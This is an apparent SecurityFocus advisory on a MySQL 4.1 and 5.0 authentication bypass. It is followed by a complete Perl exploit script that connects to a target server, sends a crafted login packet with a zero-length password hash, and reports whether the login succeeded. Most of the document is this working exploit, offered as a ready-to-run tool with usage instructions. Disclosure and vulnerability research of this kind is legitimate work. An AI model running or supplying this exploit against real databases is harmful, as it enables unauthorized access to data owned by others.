source: http://www.securityfocus.com/bid/10654/info

MySQL is prone to a vulnerability that may permit remote clients to bypass authentication. 

This is due to a logic error in the server when handling client-supplied length values for password strings. 

Successful exploitation will yield unauthorized access to the database.

This issue is known to exist in MySQL 4.1 releases prior to 4.1.3 and MySQL 5.0.

#!/usr/bin/perl
#
# The script connects to MySQL and attempts to log in using a zero-length password
# Based on the vuln found by NGSSecurity
#
# Exploit copyright (c) 2004 by Eli Kara, Beyond Security
# <elik@beyondsecurity.com>
#
use strict;
use IO::Socket::INET;

usage() unless ((@ARGV >= 1) || (@ARGV <= 3));

my $username = shift(@ARGV);
my $host = shift(@ARGV);
if (!$host)
{
  usage();
}
my $port = shift(@ARGV);
if (!$port)
{
 $port = 3306; print "Using default MySQL port (3306)\n";
}

# create the socket
my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);
$socket or die "Cannot connect to host!\n";

# receive greeting
my $reply;
recv($socket, $reply, 1024, 0);
if (length($reply) < 7)
{
 print "Not allowed to connect to MySQL!\n";
 exit(1);
}
print "Received greeting:\n";
HexDump($reply);
print "\n";

# here we define the login OK reply
# my $login_ok = "\x01\x00\x00\x02\xFE";

# break the username string into chars and rebuild it
my $binuser = pack("C*", unpack("C*", $username));

# send login caps packet with password
my $packet = "\x85\xa6".
             "\x03\x00\x00".
    "\x00".
    "\x00\x01\x08\x00\x00\x00". # capabilities, max packet, etc..
             "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
             "\x00\x00\x00\x00".$binuser."\x00\x14\x00\x00\x00\x00". # username and pword hash length + NULL hash
             "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; # continue NULL hash

substr($packet, 0, 0) = pack("C1", length($packet)) . "\x00\x00\x01"; # MySQL message length + packet number (1)

print "Sending caps packet:\n";
HexDump($packet);
print "\n";
send $socket, $packet, 0;

# receive reply
recv($socket, $reply, 1024, 0);
print "Received reply:\n";
HexDump($reply);

my @list_bytes = unpack("C*", $reply);

#print "The fifth byte is: ", $list_bytes[4], "\n";
if (length(@list_bytes) >= 4)
{
 print "Response insufficent\n";
}

#if ($reply eq $login_ok)
if ($list_bytes[4] == 0 || $list_bytes[4] == 254)
{
 print "Received OK reply, authentication successful!!\n";
}
else
{
 print "Authentication failed!\n";
}

# close
close($socket);


sub usage
{
    # print usage information
    print "\nUsage: mysql_auth_bypass_zeropass.pl <username> <host> [port]\n
<username> - The DB username to authenticate as
<host> - The host to connect to
[port] - The TCP port which MySQL is listening on (optional, default is 3306)\n\n";
    exit(1);
}


###
# do a hexdump of a string (assuming it's binary)
###
sub HexDump
{
 my $buffer = $_[0];

 # unpack it into chars
 my @up = unpack("C*", $buffer);
 my $pos=0;

 # calculate matrix sizes
 my $rows = int(@up/16);
 my $leftover = int(@up%16);

 for( my $row=0; $row < $rows ; $row++, $pos+=16)
 {
  printf("%08X\t", $pos);
  my @values = @up[$pos .. $pos+15];
  my @line;
  foreach my $val (@values)
  {
   push(@line, sprintf("%02X", $val));
  }
  print join(' ', @line), "\n";
 }
 # print last line
 printf("%08X\t", $pos);
 my @values = @up[$pos .. $pos+$leftover-1];
 my @line;
 foreach my $val (@values)
 {
  push(@line, sprintf("%02X", $val));
 }
 print join(' ', @line), "\n";
}